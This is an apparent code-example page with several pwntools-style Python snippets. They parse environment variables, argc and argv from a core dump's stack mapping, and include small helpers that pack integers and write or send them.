            # mapping (after the stack) to read it.
            # This may occur when the entire stack is filled with non-NUL bytes,
            # and we NULL-terminate on a read failure in .string().
            if end not in stack:
                continue

            self.env[name] = pointer + len(name) + len('=')

        # May as well grab the arguments off the stack as well.
        # argc comes immediately before argv[0] on the stack, but
        # we don't know what argc is.
        #
        # It is unlikely that argc is a valid stack address.
        address = p_end_of_argv - self.bytes
        while self.unpack(address) in stack:
            address -= self.bytes

        # address now points at argc
        self.argc = self.unpack(address)

        # we can extract all of the arguments as well
        self.argv = unpack_many(stack[address + self.bytes:p_end_of_argv])
Пример #36
0
 def pack(self, address, data, *a, **kw):
     """Writes a packed integer ``data`` to the specified ``address``"""
     return self.write(address, packing.pack(data, *a, **kw))
Пример #37
0
 def okay(self, s, *a, **kw):
     if isinstance(s, int):
         s = packing.pack(s, *a, **kw)
     return '\0' not in s and '\n' not in s
Пример #38
0
 def pack(self, *a, **kw):
     return self.send(packing.pack(*a, **kw))
Пример #39
0
    def _parse_stack(self):
        # Get a copy of the stack mapping
        stack = self.stack

        if not stack:
            return

        # AT_EXECFN is the start of the filename, e.g. '/bin/sh'
        # Immediately preceding is a NULL-terminated environment variable string.
        # We want to find the beginning of it
        if self.at_execfn:
            address = self.at_execfn-1
        else:
            log.debug('No AT_EXECFN')
            address = stack.stop
            address -= 2*self.bytes
            address -= 1
            address = stack.rfind('\x00', None, address)
            address += 1

        # Sanity check!
        try:
            assert stack[address] == '\x00'
        except AssertionError:
            # Something weird is happening.  Just don't touch it.
            log.debug("Something is weird")
            return
        except ValueError:
            # If the stack is not actually present in the coredump, we can't
            # read from the stack.  This will fail as:
            # ValueError: 'seek out of range'
            log.debug("ValueError")
            return

        # address is currently set to the NULL terminator of the last
        # environment variable.
        address = stack.rfind('\x00', None, address)

        # We've found the beginning of the last environment variable.
        # We should be able to search up the stack for the envp[] array to
        # find a pointer to this address, followed by a NULL.
        last_env_addr = address + 1
        p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)

        # Sanity check that we did correctly find the envp NULL terminator.
        envp_nullterm = p_last_env_addr+context.bytes
        assert self.unpack(envp_nullterm) == 0

        # We've successfully located the end of the envp[] array.
        #
        # It comes immediately after the argv[] array, which itself
        # is NULL-terminated.
        #
        # Now let's find the end of argv
        p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr)

        start_of_envp = p_end_of_argv + self.bytes

        # Now we can fill in the environment
        env_pointer_data = stack[start_of_envp:p_last_env_addr+self.bytes]
        for pointer in unpack_many(env_pointer_data):
            end = stack.find('=', last_env_addr)

            if pointer in stack and end in stack:
                name = stack[pointer:end]
                self.env[name] = pointer

        # May as well grab the arguments off the stack as well.
        # argc comes immediately before argv[0] on the stack, but
        # we don't know what argc is.
        #
        # It is unlikely that argc is a valid stack address.
        address = p_end_of_argv - self.bytes
        while self.unpack(address) in stack:
            address -= self.bytes

        # address now points at argc
        self.argc = self.unpack(address)

        # we can extract all of the arguments as well
        self.argv = unpack_many(stack[address + self.bytes: p_end_of_argv])